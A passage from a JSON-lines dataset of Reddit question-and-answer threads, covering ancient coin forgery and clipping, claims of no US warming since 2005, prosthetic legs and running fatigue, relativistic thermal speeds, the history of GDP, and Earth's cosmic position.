by an infection. The demand of a pretty male ensures that males maintain a visual indicator of health if they want to reproduce."]}, "title_urls": [], "selftext_urls": ["http://www.blairsociety.com/Blair/Birds/Profiles/Larger/Feathers/Larger/ScarletMacaw.jpg"], "answers_urls": [[], [], []]}
{"q_id": "34fzyr", "title": "Was forgery of money possible in Ancient Greece/Rome?", "selftext": "Given that coins were being pressed continously, was it possible to people to forge money?\n\nIf I was a wealthy merchant who had picked up a few golden treasures, would it be possible for me to melt them into liquid gold and then dip cheaper metals into it in order to coat them in gold?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34fzyr/was_forgery_of_money_possible_in_ancient/", "answers": {"a_id": ["cque1ve", "cqueacu"], "score": [6, 12], "text": ["hi! there's room for more input here, but meanwhile you may be interested in these previous posts on counterfeiting\n\n* [How were early currencies protected against counterfeiting?](_URL_1_)\n\n* [Modern currency uses sophisticated anti-counterfeiting technology such as holograms or specialized paper. How did ancient civilizations deal with/prevent counterfeiting, and how much of an impact would it have on the economy?](_URL_6_)\n\n* [Counterfeiting in the Ancient World?](_URL_0_)\n\n* [How where clay tokens used as money to trade?](_URL_4_)\n\n* [When were coins with reeded edges first made? Why did they decide to do this?](_URL_2_)\n\n* [How did cultures mass produce coins before modern technology?](_URL_7_)\n\n* [How did they prevent people from making counterfeit money before watermarks etc?](_URL_3_)\n\n* [How did they prevent counterfeiting of paper money before modern things like holograms, fluorescent ink, and microprinting?](_URL_5_)", "Yes it was possible, though it wasn't necessarily easy to fool a merchant. Not only did coins in ancient Greece and Rome have standard sizes and weights, thus inducing the requirement to match the same size/weight ratio of a 'real coin' to trick any merchant worth his salt. Standards shifted over time and between issuing states, of course, but not to the degree that a merchant couldn't keep up with that.\n\nA more common tactic was to /clip/ a coin. Because early coins tended to vary somewhat in practice, and typical measuring tools weren't accurate enough to notice a very small reduction in mass, cheats tended to clip just a little gold or silver of the side of each coin they came across. Most legal systems treated this as the same as counterfeiting (as the effective value of the coins was reduced in the process, and yet they were still used to pay.)\n\nSince in Ancient Greece and Rome minting hadn't yet advanced to the point where producing milled coinage was feasible, they didn't have effective countermeasures to clipping. (Milled coinage provides a lot more control over the end product than hammered coinage, thus allowing for the precisely identical coins of the modern day, with edges that have a pattern that would make any clipping immediately obvious.)\n\nSo in short, for the would be cheat in ancient Rome or Greece, clipping would be much easier, a fair bit harder to detect, and overall still give them a good amount of additional precious metal to sell."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/t1ln7/counterfeiting_in_the_ancient_world/", "http://www.reddit.com/r/AskHistorians/comments/1smua6/how_were_early_currencies_protected_against/", "http://www.reddit.com/r/AskHistorians/comments/1tqlox/when_were_coins_with_reeded_edges_first_made_why/", "https://www.reddit.com/r/AskHistorians/comments/1ya0ae/how_did_they_prevent_people_from_making/", "http://www.reddit.com/r/AskHistorians/comments/13o6p7/how_where_clay_tokens_used_as_money_to_trade/", "http://www.reddit.com/r/AskHistorians/comments/1s7vbr/how_did_they_prevent_counterfeiting_of_paper/", "http://www.reddit.com/r/AskHistorians/comments/1w7ovk/modern_currency_uses_sophisticated/", "http://www.reddit.com/r/AskHistorians/comments/199jp5/how_did_cultures_mass_produce_coins_before_modern/"], []]}
{"q_id": "d0gfhl", "title": "Family members are posting on Facebook that there has been no warming in the US since 2005 based on a recent NOAA report, is this accurate? If so, is there some other nuance that this data is not accounting for?", "selftext": "I appreciated your response, thank you.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d0gfhl/family_members_are_posting_on_facebook_that_there/", "answers": {"a_id": ["ez9cv9b", "ez9olbn", "ez9rdyf", "ez9rv9a", "ez9sf6j", "ez9x1ma", "eza1x9z", "eza2sj3", "eza68j3", "ezamzum", "ezaqyf6", "ezatipd", "ezatx2z", "ezau3a7", "ezauvzx", "ezb81fv", "ezbgybj", "ezcwlks", "eze2yue"], "score": [4609, 89, 6, 76, 25, 15, 8, 255, 9, 24, 6, 46, 4, 5, 6, 10, 6, 3, 6], "text": ["**Edit:** As /u/joekercom points out, [the 2005 date is not arbitrary](_URL_2_). In 2005 NOAA began collecting climate data from a new network of weather stations due to criticisms about the validity of the existing weather station network. The data since 2005, from both the new and the old networks, does not show a significant warming trend. The misconception here is that this new network is more accurate than the existing network and that a lack of warming in the new network's data refutes the existing observations of warming in the USA. This is not the case.\n\nThe whole purpose of the new network (called the US Climate Reference Network) was not to replace the existing network of weather stations, but to measure the validity of the existing network's data and determine whether there are baises in the data due to things such as urban development. We did not know whether the existing weather station network was accurate, but we do know that the USCRN is a \"pristine\" weather station network that should be free from bias. Here's the important point: [When researchers compared the results from the USCRN with the existing climate station network, they have found that the data from both networks largely agree with each other.](_URL_1_) What this means is that as far as we can tell, the existing climate data network that NOAA has been using for decades has not been strongly biased by external factors other than genuine climate change. \n\nThus, while the 2005 date is not arbitrary, it is neither the beginning of a new era of climate data that rejects all previous observations. It's the opposite, the climate data collected since 2005 only supports the idea that the long-term warming trend we have seen here in the US and elsewhere is a genuine climatological phenomenon, and not due to unseen bias in the data collection methods. \n\n**Another Edit:** Just a nice source from /u/kilotesla showing how the new network (USCRN) compares to existing climate data networks used by NOAA:\n\n[New network USCRN vs old networks](_URL_0_)\n\n#End Edit / Original Post:\n\nThey're right, but there are four things to keep in mind here: \n\n1. The year 2005 is an arbitrary date. [Over time there is a clear warming trend in the USA.](_URL_3_) Go back to 1990 and there is a demonstrable warming trend, go back to 1980 and there is a very clear warming trend. \n\n2. US temperatures since 2005 have not been significantly rising, but they're already hot. All temperatures since 2005 have been above the historic average. If there was no warming trend, we would expect some years to be above the average and some years below. \n\n3. Changes in local weather patterns can dominate the warming trend in the short term, and the USA is a very temperate country. For example, El Nino vs. La Nina temperature conditions in the Pacific ocean can greatly influence the USA's temperature in any given year, with two of the hottest years in the last 15 being hot El Nino years. \n\n4. The years 2015-2018 are the four hottest years on record globally. The global warming trend is clear, and the local variations in weather that have stalled warming in the USA will not continue forever.", "National Geographic:\n\n\"BY ALEJANDRA BORUNDA    PUBLISHED FEBRUARY 6, 2019\n\nAccording to new reports published Wednesday, the last five years\u2014from 2014 to 2018\u2014are the warmest years ever recorded in the 139 years that the National Oceanic and Atmospheric Administration (NOAA) has tracked global heat. And 2018 was the fourth hottest year ever recorded.\n\nGlobal air temperatures have warmed steadily over past decades, shifting up and down slightly from year to year depending on natural climate oscillations like El Ni\u00f1o, but following a consistent upward path. Land temperatures, they said, were more than two degrees Fahrenheit warmer than the 20th century average.\n\n\u201cIt\u2019s a long-term trip up the elevator of warming,\u201d says Deke Arndt, the chief of the global monitoring branch of NOAA\u2019s National Centers for Environmental Information in North Carolina.\n\nA warming climate doesn\u2019t simply heat up summers and keep winters from getting as cold as they used to: It can also disrupt weather patterns, making storms stronger and rain events more intense. It can change when and where snow falls or lakes freeze. And it may reprogram the very ways that oceans circulate.\n\n\"2018 was an exclamation point on a trend toward more big rain,\" says Arndt.\n\n But the ever-increasing heat is also a challenge for humans and living creatures around the world. Heat waves from Europe to Australia roiled the planet this past year, breaking temperature records and fueling devastating wildfires. The European heat waves, scientists discovered, were about five times more likely because of human-induced climate change. The wildfires that wracked the western U.S. were also intensified by climate change, scientists have determined, as heat and drought sucked water out of vegetation, leaving it dry and flammable as kindling.\n\nRising temperatures also contributed to a growing inventory of weather-related disasters. In 2018, NOAA says, there were 14 weather and climate events that cost the country hundreds of lives and $1 billion dollars or more, for a total of at least 247 deaths and $91 billion in damages. Hurricanes Florence and Michael, which devastated the communities through which they ripped, were the most destructive, with western wildfires following closely behind.\n\nThe forecast for coming years points to more of the same. The U.K.\u2019s Met Office predicts that 2019 will likely be even warmer than 2018, at least in part driven by a developing El Ni\u00f1o event, which nearly always bump global temperatures up. But scientists stress that greenhouse gas emissions are the primary factor pushing temperatures higher both in past decades and into the future.\"", "The critical point is that, regardless of how nice the new data set is, is that it has not shown that the historical data has been showing a false warming trend. On the stackexchange post someone else posted you can see the calibrated data fits the other stations perfectly. So the new stations WOULD SHOW THE SAME THING. So then no point distinguishing and then we can use the proper multidecadal time series that shows warming nicely.", "Point out to them that the NOAA, the trusted source of their 'data', is explicit in their contention that the climate crisis is a real thing.  Therefore the part they have excerpted does not indicate the conclusion of the report.", "As other posters have commented, even if the warming trend has momentarily slowed down in the continental US, this doesn't mean that the same is happening on a global level; other world areas are for example warming much faster than the global average (the [Arctic](_URL_0_), for example, or Europe -- especially Scandinavia).\n\nLet's imagine that -- for the sake of discussion -- the USA doesn't warm. Does this mean that it's somehow protected from the effects of climate change? Clearly not, because weather systems are globally interconnected and weather disruption will afflict (and is already afflicting) also the United States (droughts, hurricanes, floods, heatwaves and cold snaps).\n\nIn any case this may evolve fast, like in the case of Antarctica, that has recently and suddenly started to lose ice even if until a few years ago it seemed almost untouched by the effects of global warming.", "There was a cool visualization of this cherry picking [posted](_URL_0_) on /r/dataisbeautiful of few years ago. \n\nBasically you can cherry pick certain comparisons (i.e. the earth got cooler from 1998-2012) but this is clearly not the general trend.", "What is meant by \"no warming since 2005?\" Are they saying that every year after 2005 was cooler than 2005? Or perhaps that the average temp of years 2006-2018 is less than the average temp in 2005? Or just that 2018 was cooler than 2005?\n\nAnyhow, here's the data:\n\n[_URL_0_](_URL_0_)", "Everyone saying \"It's called global climate change, not US warming. The US could be getter colder\" is totally missing the point. The US is certainly getting warmer, and *even that cited NOAA data shows it.*\n\nThe NOAA data that these Facebook posts are talking about comes from [here](_URL_2_). (For example, [here's](_URL_0_) an example of a page using that data to downplay global warming- written by a [Heartland Institute](_URL_7_) lawyer.) *Even if you're only using this data*, it still shows a warming trend. You can find it in Excel yourself, or look at [this version that I made quickly](_URL_3_). See how the black trendline slopes up, indicating a warming trend just in the last fifteen years? The main reason that the Facebook memes use this dataset is because it has monthly values with high variance, which makes that long-term trend harder to see. In contrast, [here's](_URL_4_) the exact same data, but averaged over a 2-yr period, making the warming easier to see. But even though the month-to-month differences are much larger than the total warming, don't be tricked into thinking this warming doesn't matter.\n\nIf you extrapolate that trendline, you get  > 5 degrees F of warming by the end of the century. 5 degrees might not seem like much, but it's about [double the warming](_URL_6_) that the IPCC sets as a relatively \"safe\" target, and about [half](_URL_5_) the temperature difference between the current climate and the cold of the last ice age. Remember, this is the chart that the Facebook memes and Exxon-funded lawyers are using to show that global warming isn't real. Imagine the charts they're not showing! In IPCC reports that *don't* cherrypick data from a specific place, time period, and single dataset, the total warming is predicted to be [twice as large](_URL_1_) without serious interventions.", "The Atlantic Multi-Decadal Oscillation, explained here in layman's terms: [_URL_0_](_URL_0_)   \nExec summary: The Earth is warming overall. The Atlantic heats up and cools down in a wave pattern every few decades. When it's warming, we notice the earth temperature increasing (when it increases for both that reason and due to global warming). When it's cooling, as it has been, it offsets the global warming due to climate change, and we get \"no increase.) Of course, next time the warming cycle will start from a higher base, since right now the choices are \"warm\" or \"hold steady,\" so measured warming will continue over time.", "Not accurate. Going with the E.P.A. here:\n\n[_URL_2_](_URL_2_)\n\nTemperatures are only part of it.\n\nSeven years of 500-year storms:\n\n[_URL_0_](_URL_0_)\n\n & #x200B;\n\nYou can definitely trust insurance claims for flooding:\n\n[_URL_4_](_URL_4_)\n\n(source: [_URL_6_](_URL_6_))\n\n & #x200B;\n\nThe number of Category 4 and 5 Hurricanes Has Doubled Over the Past 35 Years\n\n[_URL_7_](_URL_1_)\n\n & #x200B;\n\nSea Ice loss:\n\n[_URL_3_\n\n & #x200B;\n\nHottest 5 years on record:\n\n[_URL_5_](_URL_5_)", "Since we shouldn't \"cherry pick\" data from short term trends, let's look at long term trends. These were all taken from peer reviewed publications.\n\n\n_URL_2_\n\n_URL_4_\n\n_URL_3_\n\n\n\n_URL_0_\n\n_URL_1_", "Looks like your family members got conned by the Heartland Institute, a PR group that also still works for Big Tobacco to deceive the public about the dangers of smoking. In 2019!! \n\nHere is a good reply by Zeke Hausfather, an expert on the US climate network:\n_URL_0_\n\nKey points:\n\n1. America is a tiny part of the Earth and its temperature varies a lot making it harder to see a trend.\n\n2. If you compute the annual average temperatures it becomes easier to see the trend.\n\n3. Trends over short periods have large uncertainties, you need to look at longer time period for accurate trend estimates, even for the global average temperature.\n\n4. If you actually compute the trend it is even faster than the global temperature rise.", "Timescales of 15 years are meaningless, there are all sorts of cycles that affect temperatures. Forcing due to the greenhouse effect and other secondaries due to industrial carbon emissions could be contributing to long-term warming, while you could be witnessing a cooldown over a shorter time-scale due to other cyclical patterns. \n\nIf you ever see anyone pointing to \"look at all these record max temps!\" or anything like that, say a trend of hurricanes etc, and think they can attribute it to global warming, rest assured they are fools. It's not that simple. \n\nUnfortunately anytime someone attributes something to AGW, even if it's the result of other cyclical natural patterns, everyone nods along in agreement that it's due to AGW, whereas if anyone attributes anything to some other cause, people run to Reddit to ask \"is there some other nuance that can confirm my biases?\" \n\nScience as we know it is essentially dead under this paradigm of simply looking to confirm your biases. Science is about skepticism and challenging your assumptions, but now the word \"skeptic\" is considered \"anti-science\". We've entered an era of bureaucrats, propagandists, and PR specialists, not an era of science.", "Seems a matter of bias to claim that climate change can be disproven by stating there hasn't been warming since 2005. The profoundly negative effects that the destruction of our environment has wrought cannot be distilled down to that one silly point. Not is it anything but self centered to state that since it hasn't, in their minds, affected the US, it doesn't matter. \n\nWe can point to the record breaking storms, the destruction of various underwater environments and species, the eradication of species of insects and animal etc etc. They're being lazy, self centered and intentionally ignorant. Tell them to stop watching Fox news and not to vote for Trump.", "This graph gives me pause: _URL_0_\n\nThe comparison point for the recent warming trend is the average temperature from the last 120 years.  However, I would have to expect that the further you go back, the less confidence we can have in the reliability of the data, and so using an average calculated from the last 120 years isn't reliable.  \n\nIt would be great to see a graph of the warming trend based only on data from the last 40 years.", "I am coming late to the party. It pains me, but I used to be a climate change denier....\n\nBecause I was skeptical of the amount of human interference we could cause. However, my understanding has changed considerably with travel, data, testimony, and out right observation.\n\nThe Earth's temperature is changing. The Earth's temperature is changing for the worse, and (my expertise as a crop physiologist) agriculture is being affected. Heat stress and evapotranspiration is increasing significantly in plants across the globe.\n\nRegardless of our ability to control the environment, plants will respond at a considerably more sensitive degree then we can. This does not necessarily include the most sensitive of plants, but the plants that we utilize for a majority of our food supply. These include corn, rice, wheat, etc.\n\nAnyone who believes that we are not altering our world negatively is a fool.", "It\u2019s called global warming for a reason, not \u201cUSA warming\u201d.\n\nThe new weather station network was setup in 2005 to confirm bias in the existing system. No significant bias detected actually *confirms* the global warming trend, not disproves it.\n\nBut as usual, a theory in which \u201ceverything is fine and we don\u2019t need to change our behaviour\u201d is going to always have fans who try again and again to find any evidence to support their faith based approach to science", "The real problem with climate change is that it\u2019s complicated. CO2 at 400 ppm and knowing what that means can be complicated. Greenland ice melting 70 years ahead of schedule means little to someone that doesn\u2019t understand the implications. Alaska ice melt means nothing to someone that doesn\u2019t get it. We are screwed. Only 20-30% of the population may truly understand what is going on. Maybe another 20% could be convinced. Arguing about it or justifying facts is wasted energy.  It is unlikely we can turn this around now. What will most likely happen is that we will have some \u201cevents\u201d and that will spur some innovation. There are more stupid people than smart, so it\u2019s going to get worse. For most people, when most of the coastal world is under 20 feet of water in 50 years, we won\u2019t care. We will be dead or too old too care. Mankind has never been thoughtful of the next generation. I don\u2019t know why people think we will change. The scientists are always set aside. People will believe anything if it satisfies there immediate needs.", "If you find the linear best fit trend in the NOAA USCRN data up to August 2019 it actually comes out at about +0.3degC/Decade (+0.55F/Decade). That's 3degC warming over 100 years if that linear trend continued, so clearly the data can't support a statement of \"no warming\". What the NOAA report presumably says is that the warming isn't \"statistically significant\", meaning that you can calculate the uncertainty in finding the best fit linear trend and the magnitude of that uncertainty means we can't exclude a zero trend.\n\nI've done that calculation myself and found a 2SE range (95% confidence interval) of about -0.01 to 0.7 degC/Decade. (-0.15 to 1.3F/Decade). So this analysis on the USCRN data supports trends of basically zero to 7 deg C for the century, most likely being around 3 deg C. The people initiating the meme have focused on just one side of that uncertainty calculation and ignored the equal probability that the data points to extremely strong warming.\n\nThe more general reality is that the US covers only about 2% of the Earth's surface, and regional temperature variability over years and decades can be very strong, easily potentially hiding underlying multi-decadal trends if you look at short periods. And 15 years is way too short for meaningful statistical analysis on long-term regional trends. It's even short for statistical analysis at the global scale. No statistically significant warming over 15 year periods at this spatial scale is exactly what we would expect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ncdc.noaa.gov/temp-and-precip/national-temperature-index/time-series?datasets%5B%5D=uscrn&amp;datasets%5B%5D=climdiv&amp;datasets%5B%5D=cmbushcn&amp;parameter=anom-tavg&amp;time_scale=12mo&amp;begyear=2000&amp;endyear=2019&amp;month=12", "https://journals.ametsoc.org/doi/full/10.1175/BAMS-D-12-00170.1", "https://www.reddit.com/r/askscience/comments/d0gfhl/family_members_are_posting_on_facebook_that_there/ez9ihup/", "https://www.epa.gov/climate-indicators/climate-change-indicators-us-and-global-temperature"], [], [], [], ["https://en.wikipedia.org/wiki/Climate_change_in_the_Arctic"], ["https://www.reddit.com/r/dataisbeautiful/comments/33epeo/no_warming_for_17_years_take_2_oc/"], ["https://i.imgur.com/7ETT11U.png"], ["https://www.realclearenergy.org/articles/2019/08/23/climate_alarmists_foiled_no_us_warming_since_2005_110470.html", "https://www.ipcc.ch/report/emissions-scenarios/", "https://www.ncdc.noaa.gov/temp-and-precip/national-temperature-index/time-series?datasets%5B%5D=uscrn&amp;parameter=anom-tavg&amp;time_scale=p12&amp;begyear=2005&amp;endyear=2019&amp;month=7", "https://i.imgur.com/EUqU688.png", "https://i.imgur.com/mpl8sxH.png", "https://xkcd.com/1379/", "https://www.ipcc.ch/sr15/", "https://www.nature.com/articles/475423b"], ["http://daviddfriedman.blogspot.com/2015/09/an-explanation-for-pattern-of-warming.html"], ["https://www.aerisweather.com/blog/wp-content/uploads/2018/07/3e0446e0-194e-4e5b-9fae-5abab210e77c-768x653.jpg", "https://www.nsf.gov/news/news_summ.jsp?cntn_id=104428", "https://www.epa.gov/climate-indicators/climate-change-indicators-us-and-global-temperature", "https://cdn.vox-cdn.com/thumbor/43hEdBKtkNHO6vnimbNHUTBx4C0=/0x0:1320x1020/1200x0/filters:focal(0x0:1320x1020):no\\_upscale()/cdn.vox-cdn.com/uploads/chorus\\_asset/file/10241919/monthly\\_ice\\_01\\_NH\\_v3.0.jpg](https://cdn.vox-cdn.com/thumbor/43hEdBKtkNHO6vnimbNHUTBx4C0=/0x0:1320x1020/1200x0/filters:focal(0x0:1320x1020):no_upscale()/cdn.vox-cdn.com/uploads/chorus_asset/file/10241919/monthly_ice_01_NH_v3.0.jpg)", "https://www.aerisweather.com/blog/wp-content/uploads/2018/07/flood-claims-Climate-Signals-768x397.gif", "https://www.climatecentral.org/gallery/graphics/the-10-hottest-global-years-on-record", "https://www.aerisweather.com/blog/2018/07/24/flooding-frequency-increasing/", "https://www.nsf.gov/news/news\\_summ.jsp?cntn\\_id=104428"], ["https://www.climate.gov/news-features/climate-qa/whats-difference-between-global-warming-and-climate-change", "https://www.climate.gov/sites/default/files/PaleoTemp_EPICA_large.png", "https://c3headlines.typepad.com/.a/6a010536b58035970c017c37fa9895970b-pi", "https://c3headlines.typepad.com/.a/6a010536b58035970c01b7c73ef9c4970b-pi", "https://c3headlines.typepad.com/.a/6a010536b58035970c017d4195a98a970c-pi"], ["https://twitter.com/hausfath/status/1169805837704937472"], [], [], ["https://www.epa.gov/climate-indicators/climate-change-indicators-us-and-global-temperature"], [], [], [], []]}
{"q_id": "aoe6vi", "title": "do people with fully prosthetic legs have the ability to run for longer periods of time due to them not having muscle exhaustion in their legs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aoe6vi/eli5_do_people_with_fully_prosthetic_legs_have/", "answers": {"a_id": ["eg07fpa", "eg0cp8b", "eg0fdq3", "eg1q34e"], "score": [3, 8, 10, 2], "text": ["While running you use all your body, or almost. So youll get tired even with plastic legs :3", "You still have to move the same mass, you just use other muscles to do it. So, more or less the same energy expenditure.", "No, in fact they would get tired faster. The amount of energy it takes to run is still approximately the same because the person still weighs approximately the same. But, now they have fewer muscles to provide that energy. That requires the remaining muscles to work harder.", "For now no. It\u2019s much more exhausting. But give them 50 years and there will probably be prosthetics that are better than our stock legs. Then people are gonna start noticing leg amputees running faster and jumping higher than any normal human so people will start upgrading to the new 2.0 legs just to keep up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "w3u8g", "title": "Is it possible to make an object so hot that its atoms vibrate at relativistic speeds? Would any weirdness arise from such an object?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w3u8g/is_it_possible_to_make_an_object_so_hot_that_its/", "answers": {"a_id": ["c59zfyi", "c59zgsc", "c5a39zo", "c5a5szs"], "score": [18, 47, 7, 3], "text": ["Hypothetically, at that sort of temperature, you will have a quark-gluon plasma.  \n\nHere is how I arrived at that.  Kinetic theory gives the root mean square speed of a gas as v = sqrt(3RT/M) where R is the ideal gas constant (8.31), T is the temperature, and M is the molar mass in kilograms per mole.  Let's take hydrogen as an example (M = .002kg/mol), and v = 0.9c.  \n\n0.9(3 * 10^8 ) = sqrt(3 * 8.31 * T/.002)\n\nThis gives T = 6 * 10^12 K.  \n\nYou can see [here](_URL_0_) what sorts of effects to expect at certain temperatures.  \n\nEDIT: Disclaimer: this does not take into account relativistic or quantum effects or energy changes due to phase changes of nuclei.  ", "No, there are no chemical bonds strong enough. If you figure the problem in reverse, the strongest known bonds are about 10 eV in strength, which (if my arithmetic is correct) is only enough energy to accelerate an atom to a velocity of thousands or some tens thousands of m/s, which when compared to c at 300,000 km/s, isn't what I'd consider a relativistic velocity by any measure. So two bound atoms will fly apart long before they manage to reach relativistic levels of kinetic energy.\n\nEdit: On an aside, note that the temperature of an object encompasses _all_ energetic degrees of freedom (such as the states of the electrons) not just the vibrational/kinetic energy of the atoms. It is true that at 'ordinary' temperatures, the thermal energy is entirely 'stored' in the vibrational/rotational/translational energy of the atoms. In most cases, things have to get quite hot before the electrons start changing states.\n", "With electrons instead of atoms, you're describing a [white dwarf](_URL_0_) star. A white dwarf is basically a gas of electrons with a distribution of velocities, a significant fraction of which are say  > 90% the speed of light. \n\nIn fact the whole universe was in a similar state when the temperature was larger than the electron mass, which was up until a few hundred years after the Big Bang (someone should do the calculation, I think I'm within a factor of 10). \n\nOne weird thing that happens when you have particles traveling at relativistic speeds is that it means there's enough energy around to create particle/antiparticle pairs out of other particles colliding. An object whose temperature is high enough to do that might better be described as a gas of particles/antiparticles than an \"object\".\n", "While it isn't possible to to heat an atom up to relativistic speeds before it gets ripped apart, when electrons move at relativistic speeds we get something quite interesting! When an electron accelerates through a magnetic field it emits photons, this is cyclotron radiation, it emits these photons as a dipole, however when an electron is accelerated to relativistic speeds,  the electron is catching up with the photons emitted in its direction of motion, for this reason the photons become highly beamed in one direction ie They are very bright. This is what we believe causes the brightness of quasars and other active galactic nuclei: electrons in the accretion disk around a supermassive black hole are accelerated to relativistic speeds!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Orders_of_magnitude_(temperature\\)"], [], ["http://en.wikipedia.org/wiki/White_dwarf"], []]}
{"q_id": "72zsla", "title": "When in history did we start to use GDP as a measure of wealth of a country ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/72zsla/when_in_history_did_we_start_to_use_gdp_as_a/", "answers": {"a_id": ["dnmu5mn"], "score": [17], "text": ["More or less rigorous attempts to describe or calculate the size of national economies go back a long way, to the European enlightenment and before. Most of these seventeenth and eighteenth century efforts were made on behalf of heads of state or government to support the expansion of state power or underpin war efforts through identifying potential for taxation or improving the efficiency of economic sectors. Yet such disparate efforts at national accounting were hampered both by the lack of reliable macroeconomic data and by opaque methodology and definitions. It is difficult to calculate the size of a domestic economy if accounts are lacking or inconsistent, and it is impossible to use the result for any meaningful comparison if it is unclear how the result was arrived at in the first place. Progress towards solving these problems was made from the late eighteenth century onwards, beginning with the proliferation of and debate on Adam Smith\u2019s ideas on methods for calculating national wealth and income (although these still differed notably from how such calculations are made today), and the increasing sophistication and comprehensiveness of national statistics championed by economists such as Alfred Marshall.\n\nThe modern definition of Gross Domestic Product has its origins in the efforts of Colin Clark. Clark was a British economist who through the 1920s and 30s sought to use statistical data to calculate comprehensive quarterly estimates of national income and expenditure. Clark was not the first economist to attempt this, but his work set a new standard for quality. His work also came at an opportune time. The Great War and the economic crises of the interwar era legitimised a greater degree of government intervention in and regulation of economies, and the demand for economic data which could be used to direct such intervention was growing rapidly. Beginning in 1930, the British government formally adopted Clark\u2019s estimates as a basis upon which to formulate economic policy. Clark\u2019s methods were adopted and refined further by the Russian-American economist Simon Kuznets, and from 1934 the resulting estimates were used by the US government to formulate economic policies under the umbrella of the New Deal programmes. \n\nFurther elaboration of the accounts pioneered by Clark and Kuznets would come during WWII. The expansion of government expenditure brought about by the war prompted the inclusion of government expenditure in the calculation of domestic production. This was a major revolution in the evolution of national accounting. In the words of Diane Coyle\n\n > For two centuries, \u201cthe economy\u201d was the private sector. Government played a small role in economic life, and featured mainly because it looked to raise taxes to pay for wars.\n\nThe massive expansion of state economic activity, beginning in the nineteenth century and growing exponentially from 1914 onwards, had made this assumption untenable. Government spending could and was having a massive impact on the overall economy of nations. The point that government income and expenditure must be seen as an integral part of the domestic economy as a whole was touched upon by John Maynard Keynes in his 1939 work The General Theory of Employment, Interest and Money, and then made explicit in his 1940 expos\u00e9 How to Pay for the War. Similar developments were taking place concurrently across much of the industrialised world, including in the Netherlands, Germany and the Soviet Union. As a result of his proposal, Keynes was put in charge of a new British statistical agency and given the task of producing economic data from which wartime government policy could be derived. Two other economists at the British Treasury, Richard Stone and James Meade (both would later be awarded the Nobel Prize in Economics), were spearheading similar efforts to comprehensively incorporate government spending in national accounts. Together Keynes, Stone and Meade would produce what can be considered a form of proto-GDP estimates, published from 1941 onwards. The US Department of Commerce would create and publish similarly expanded estimates (then known as GNP \u2013 Gross National Product) beginning in 1942.\n\nFollowing the end of the war efforts were made to harmonise the advances in accounting made during the interwar era and through the war, so as to facilitate international cooperation on economic issues through Bretton Woods and the United Nations. These efforts, soon concentrated under the aegis of the newly created United Nations and led \u2013 at least initially \u2013 by British and American economists, culminated in the publication of a unified United Nations System of National Accounts (SNA or UNSNA) in 1953. The SNA established standards for the creation of estimates of aggregate domestic economic activity, creating the first international definition of Gross Domestic Product. Although the SNA has been continuously revised and updated since, it remains the international standard for calculating GDP.\n\n* Coyle, Diane; GDP: a brief but affectionate history; Princeton University Press, 2014\n* Kane, Richard; Measures and Motivations: U.S. National Income and Product Estimates During the Great Depression and World War II; Working paper, Ludwig-Maximilians-Universit\u00e4t M\u00fcnchen, 2012\n* Keynes, John Maynard; How to Pay for the War: A Radical Plan for the Chancellor of the Exchequer; Macmillan  &  Co, 1940\n* Landefeld, J. Steven; GDP: One of the Great Inventions of the 20th Century; Bureau of Economic Analysis, U.S.Department of Commerce, 2000\n* Mitra-Kahn, Benjamin H.; Redefining the Economy: How the \u2018Economy\u2019 Was Invented, 1620; Ph.D. thesis, City University London, 2011\n* Tily, Geoff; The National Accounts, GDP and the \u2018Growthmen\u2019; Prime, 2015\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "20pyuj", "title": "Is there any significance at all to Earth's position in the universe? Anything at all unusual? Or are we situated in a completely unremarkable neighborhood?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20pyuj/is_there_any_significance_at_all_to_earths/", "answers": {"a_id": ["cg5nb2x", "cg5nd9s", "cg5obp4", "cg5ofgj", "cg5okef", "cg5opgu", "cg5pmgp", "cg5qhrd", "cg5r1ph", "cg5r4nq", "cg5ri67", "cg5rr4s", "cg5sjaq", "cg5uo1q", "cg5vpt5", "cg5wy5q", "cg5xnrt", "cg5ztx5", "cg605xr", "cg61fm9", "cg637dj", "cg63se9", "cg65e1w", "cg67moh", "cg689lg", "cg69qhe", "cg6cw6k", "cg6cw8j"], "score": [114, 747, 50, 36, 11, 2, 34, 2064, 177, 7, 8, 2, 824, 29, 2, 7, 8, 5, 2, 5, 6, 5, 3, 2, 28, 2, 2, 2], "text": ["This is a very complicated question to answer becuase you can't nessisarily picture the universe as a finite ball. In other words, there is no center. As far as our galactic position goes, no, we are in a quite \"usual\" [place](_URL_0_).", "I remember a couple neat things about our solar system that are fairly unusual... If I remember correctly, the fact that our solar system is a single star, and not a binary star system, is actually relatively uncommon.\n\nAlso, the fact that the moon happens to be the correct distance away from us to make a total solar eclipse is pretty special. It will eventually drift, and total solar eclipses won't happen anymore. That's gonna be awhile before that happens though.\n\nFrom wikipedia: _URL_0_\n\n**Final totality**\n\nTotal solar eclipses are seen on Earth because of a fortuitous combination of circumstances. Even on Earth, eclipses of the type familiar to people today are a temporary (on a geological time scale) phenomenon. Hundreds of millions of years in the past, the Moon was too close to the Earth to precisely occlude the Sun as it does during eclipses today; and over a billion years in the future, it will be too far away to do so.[36]\n\nDue to tidal acceleration, the orbit of the Moon around Earth becomes approximately 2.2 cm more distant each year. It is estimated that in slightly less than 1.4 billion years, the distance from Earth to the Moon will have increased by 30,400 km. During that period, the angular diameter of Moon will decrease in size, meaning that it will no longer be able to completely cover the Sun's disk as seen from Earth. This will be true even when the Moon is at perigee, and Earth at aphelion. The sun is also increasing in diameter by about 5% per billion years.[37] Therefore, the last total solar eclipse on Earth will occur about six hundred million years from now.[36]\n\nEdit: source on the solar eclipse thing\n\nEdit 2: I remember where I learned the fact about the solar eclipse! It was on a podcast called Astronomy Cast, in this specific episode, put out years ago. I love this podcast, lots of really neat 